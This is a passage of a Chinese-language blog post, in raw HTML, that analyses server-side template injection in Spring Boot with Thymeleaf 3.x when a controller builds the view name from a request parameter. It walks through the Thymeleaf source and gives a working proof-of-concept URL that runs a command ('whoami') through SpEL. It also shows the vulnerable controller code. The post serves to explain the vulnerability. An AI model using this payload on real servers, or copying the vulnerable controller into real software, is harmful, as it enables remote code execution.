monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">selector</code>）</strong></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">在了解这些内容后，我们就可以正式来看这个漏洞是怎么一回事了。<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;">首先，同样的，我们拿一个常见的例子：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__meta">@GetMapping</span>(<span class="code-snippet__string">&#34;/admin&#34;</span>) </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">String</span> path(<span class="code-snippet__meta">@RequestParam</span> <span class="code-snippet__built_in">String</span> language) { </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;language/&#34;</span> + language + <span class="code-snippet__string">&#34;/admin&#34;</span>; </span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><br/></p><p style="margin: 0px 0px 1.2em !important;">这是 SpringBoot 项目中某个控制器的部分代码片段，thymeleaf 的目录如下：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8044692737430168" data-s="300,640" style="" data-type="png" data-w="358" src="https://wechat2rss.xlab.app/img-proxy/?k=87516e8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjotIfnz0oaibqprkiaJb1uztZOADKiaJCXiaj8T0e6CWBdn4UHrE8OWic2dfA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="margin: 0px 0px 1.2em !important;">从代码逻辑中基本上可以判断，这实际上是一个语言界面选择的功能，如果是中文阅读习惯者，那么会令<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">language</code>参数为<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">cn</code>，如果是英文阅读习惯者，那么会令<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">language</code>参数为<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">en</code>，代码逻辑本身实际上是没有什么问题的，但是这里采用的是 thymeleaf 模板，就出现了问题。</p><p style="margin: 0px 0px 1.2em !important;">在springboot + thymeleaf 中，如果视图名可控，就会导致漏洞的产生。其主要原因就是在控制器中执行 return 后，Spring 会自动调度 Thymeleaf 引擎寻找并渲染模板，在寻找的过程中，会将传入的参数当成SpEL表达式执行，从而导致了远程代码执行漏洞。</p><p style="margin: 0px 0px 1.2em !important;">thymeleaf 渲染的流程如下：</p><ul style="margin: 1.2em 0px;padding-left: 2em;" class="list-paddingleft-2"><li style="margin: 0.5em 0px;"><p>createView() 根据视图名创建对应的View</p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.17890625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=55c86750&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjolShNAdSrcINKHiaYl9zNLVvAu5EKeeoHV6VVQfKQgPwgvibsRfLdGgHA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><ul style="margin: 1.2em 0px;padding-left: 2em;" class="list-paddingleft-2"><li style="margin: 0.5em 0px;"><p>renderFragment() 根据视图名解析模板名称</p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.20078125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8d67c32c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoIsWnNBusfviauiaqtMVVr1lEpdLrW5Ejsdmpg1JFf0O3FiaTPkcoBTzuA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="margin: 0px 0px 1.2em !important;">所以可以跟进<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">renderFragment()</code>来看看如何解析模板名称的：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.48828125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5ee38fb1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoCeIGuh0aROTB7bGBYqA9ibyFrthBerJC6ZY061xspL7hxVibIZ6p3F7A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="margin: 0px 0px 1.2em !important;">核心代码我复制了出来：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">protected <span class="code-snippet__keyword">void</span> renderFragment(<span class="code-snippet__built_in">Set</span>&lt;<span class="code-snippet__built_in">String</span>&gt; markupSelectorsToRender, <span class="code-snippet__built_in">Map</span>&lt;<span class="code-snippet__built_in">String</span>, ?&gt; model, HttpServletRequest request, HttpServletResponse response) throws Exception {  </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer">            if (!viewTemplateName.contains(<span class="code-snippet__string">&#34;::&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                templateName = viewTemplateName;</span></code><code><span class="code-snippet_outer">                markupSelectors = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                FragmentExpression fragmentExpression;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    fragmentExpression = (FragmentExpression)parser.parseExpression(context, <span class="code-snippet__string">&#34;~{&#34;</span> + viewTemplateName + <span class="code-snippet__string">&#34;}&#34;</span>);</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (TemplateProcessingException var25) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> IllegalArgumentException(<span class="code-snippet__string">&#34;Invalid template name specification: &#39;&#34;</span> + viewTemplateName + <span class="code-snippet__string">&#34;&#39;&#34;</span>);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    ...</span></code></pre></section><p><br/></p><p style="margin: 0px 0px 1.2em !important;">可以发现，这里将模板名称(<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">viewTemplateName</code>) 进行拼接 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">&#34;~{&#34; + viewTemplateName + &#34;}&#34;</code>，然后使用<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">parseExpression</code>进行解析，继续跟进<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">parseExpression</code>就可以发现</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.51875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=33391c35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjouH1qicQaiaibQYDHzJr6ptEfSXa3H5QU5s9YQic6CTNYtXicibBWwj31ybbA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;">会通过</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">EngineEventUtils.computeAttributeExpression</code></p><p style="margin: 0px 0px 1.2em !important;">将属性计算成表达式：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.57109375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8bd2dd51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjohxVWwxqDpekd44qfZ6eKI769T1X576xP7oWukEUPnoxHZ3OXYkgf6A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="margin: 0px 0px 1.2em !important;">然后再进行预处理（预处理是在正常表达式之前完成的执行，可以理解成预处理就解析并执了行表达式），最终执行了表达式。</p><p style="margin: 0px 0px 1.2em !important;">效果如下：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.48203125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=57a936e4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoI3kVJrG1EVMMMaKVfmECeTO5Pwic7MibZ7OlRHLRQb7HJyQzkic8e1XOg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><pre style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;font-size: 1em;line-height: 1.2em;margin: 1.2em 0px;"><code style="white-space:pre-wrap;font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;background-color: rgb(248, 248, 248);overflow: auto;border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 0.7em;display: block !important;"><a href="http://127.0.0.1:8080/admin?language=__${new" target="_blank">http://127.0.0.1:8080/admin?language=__${new</a> java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(&#34;whoami&#34;).getInputStream()).next()}__::.k</code></pre><p style="margin: 0px 0px 1.2em !important;">这个 POC 为什么这样构造呢？</p><p style="margin: 0px 0px 1.2em !important;">前文在介绍<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">renderFragment</code>函数的时候我们提到，<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">renderFragment</code>在解析模板名称的时候会将模板名称进行拼接<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">&#34;~{&#34; + viewTemplateName + &#34;}&#34;</code>，然后使用<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">parseExpression</code>进行解析，我们跟进<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">parseExpression</code></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.228125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=60e21cb9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjofGXzlRZ49DbhjWrDCibHPPicibf51fibckMHxSyoZBhib6UwnMN78m1rJMw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="margin: 0px 0px 1.2em !important;">进入<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">org.thymeleaf.standard.expression</code>   <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">StandardExpressionParser.java</code>中的 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">parseExpression</code>方法：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.66875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=fbf817ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjo092iclHWCCEHd3fngZk4AMBdR9nwRdtd5v2ibXoSkBjIAL10asIz542w%2F640%3Fwx_fmt%3Dpng"/></p><pre style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;font-size: 1em;line-height: 1.2em;margin: 1.2em 0px;"><code style="white-space:pre-wrap;font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;overflow: auto;border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em;color: rgb(51, 51, 51);background: rgb(248, 248, 248);text-size-adjust: none;display: block !important;">(preprocess? StandardExpressionPreprocessor.preprocess(context, input) : input);</code></pre><p style="margin: 0px 0px 1.2em !important;">可以发现对表达式进行了<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">preprocess</code>预处理，跟进该方法：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.696875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a25544be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjohC8IFibf9L1lZiaelxu6eB1ibqiaWJvqrC1fSWXmeibOTeQfF7ULcz5RbQg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.15234375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=bff7b9d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjolgfakVdEho2YHHDyxiceoPRuB6icvibEzGRDdQllonVq9ZKE2GpjhAYLA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">preprocess</code>预处理会解析出<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">__xx__</code>中间的部分作为表达式</p><p style="margin: 0px 0px 1.2em !important;">如果 debug 可以发现，该表达式最终在<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">org.thymeleaf.standard.expression.VariableExpression.executeVariableExpression()</code>中作为 SpEL表达式执行。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8e640e7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoxPeXwLVEKxGoM3eQLEicB60L7SKgQBibud3STS7VjDh0kfcXHvkT0oxA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">因此 POC 中我们要构造形如<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">__xx__</code>的SpEL表达式（SpEL相关的知识点可以参考此文：SPEL 表达式注入漏洞深入分析），即表达式要为：<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">__${xxxxx}__</code> 这种形式<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;">那么为什么后面还有带有<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">::</code>呢？<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;">因为<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">renderFragment</code>中的判断条件：<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><pre style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;font-size: 1em;line-height: 1.2em;margin: 1.2em 0px;"><code style="white-space:pre-wrap;font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;overflow: auto;border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em;color: rgb(51, 51, 51);background: rgb(248, 248, 248);text-size-adjust: none;display: block !important;"><span style="color: rgb(51, 51, 51);font-weight: bold;">if</span> (!viewTemplateName.contains(<span style="color: rgb(221, 17, 68);">&#34;::&#34;</span>)) {</code></pre><p style="margin: 0px 0px 1.2em !important;">即只有当模板名包含<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">::</code>时，才能够进入到<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">parseExpression</code>，也才会将其作为表达式去进行执行。<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;">至于 POC 最后的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">.k</code>，我们在最开始的提到了：<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><blockquote style="margin: 1.2em 0px;border-left: 4px solid rgb(221, 221, 221);padding: 0px 1em;color: rgb(119, 119, 119);quotes: none;"><p style="margin: 0px 0px 1.2em !important;">当<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">~{}</code>片段表达式中出现<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">::</code>，那么 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">::</code>后需要有值（也就是<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">selector</code>）</p></blockquote><p><br/></p><p style="margin: 0px 0px 1.2em !important;">因此，最终 POC 的形式就为：<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">__${xxxx}__::.x</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;">实际上，只有3.x版本的Thymeleaf 才会受到影响，因为在2.x 中<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">renderFragment</code>的核心处理方法是这样的：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">protected <span class="code-snippet__keyword">void</span> renderFragment(<span class="code-snippet__built_in">Set</span>&lt;<span class="code-snippet__built_in">String</span>&gt; markupSelectorsToRender, <span class="code-snippet__built_in">Map</span>&lt;<span class="code-snippet__built_in">String</span>, ?&gt; model, HttpServletRequest request, HttpServletResponse response) throws Exception {</span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer">        Configuration configuration = viewTemplateEngine.getConfiguration();</span></code><code><span class="code-snippet_outer">        ProcessingContext processingContext = <span class="code-snippet__keyword">new</span> ProcessingContext(context);</span></code><code><span class="code-snippet_outer">        templateCharacterEncoding = getStandardDialectPrefix(configuration);</span></code><code><span class="code-snippet_outer">        StandardFragment fragment = StandardFragmentProcessor.computeStandardFragmentSpec(configuration, processingContext, viewTemplateName, templateCharacterEncoding, <span class="code-snippet__string">&#34;fragment&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (fragment == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">              <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> IllegalArgumentException(<span class="code-snippet__string">&#34;Invalid template name specification: &#39;&#34;</span> + viewTemplateName + <span class="code-snippet__string">&#34;&#39;&#34;</span>);</span></code><code><span class="code-snippet_outer">         }</span></code><code><span class="code-snippet_outer">    ...</span></code></pre></section><p><br/></p><p style="margin: 0px 0px 1.2em !important;">并没有3.x 版本中对于片段表达式（<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">~{</code>）的处理，也因此不会造成 SSTI 漏洞，以下是 SpringBoot 默认引用的 thymeleaf 版本<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><blockquote style="margin: 1.2em 0px;border-left: 4px solid rgb(221, 221, 221);padding: 0px 1em;color: rgb(119, 119, 119);quotes: none;"><p style="margin: 0px 0px 1.2em !important;">spring boot:1.5.1.RELEASE spring-boot-starter-thymeleaf:2.1.5<br/>spring boot:2.0.0.RELEASE spring-boot-starter-thymeleaf:3.0.9<br/>spring boot:2.2.0.RELEASE spring-boot-starter-thymeleaf:3.0.11<span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, 